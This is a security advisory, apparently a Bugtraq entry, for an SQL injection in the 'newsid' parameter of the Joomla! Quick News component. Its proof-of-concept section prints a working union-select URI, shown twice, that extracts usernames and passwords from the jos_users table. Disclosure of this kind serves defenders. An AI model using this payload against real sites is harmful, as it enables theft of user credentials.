Joomla! Quick News Component 'newsid' Parameter SQL Injection Vulnerability
BID:37161
Info
Joomla! Quick News Component 'newsid' Parameter SQL Injection Vulnerability
| Bugtraq ID: | 37161 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 30 2009 12:00AM |
| Updated: | Dec 01 2009 06:25PM |
| Credit: | Don Tukulesto |
| Vulnerable: |
Joomla Quick News 0 |
| Not Vulnerable: | |
Discussion
Joomla! Quick News Component 'newsid' Parameter SQL Injection Vulnerability
The Quick News component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
The Quick News component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Exploit / POC
Joomla! Quick News Component 'newsid' Parameter SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/index.php?option=com_quicknews&task=view_item&newsid=33/**/union/**/select/**/1,1,1,1,concat%28username,0x3a,password%29,666,1,1,1,1,1,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2/**/from/**/jos_users/*
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/index.php?option=com_quicknews&task=view_item&newsid=33/**/union/**/select/**/1,1,1,1,concat%28username,0x3a,password%29,666,1,1,1,1,1,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2/**/from/**/jos_users/*
Solution / Fix
Joomla! Quick News Component 'newsid' Parameter SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Joomla! Quick News Component 'newsid' Parameter SQL Injection Vulnerability
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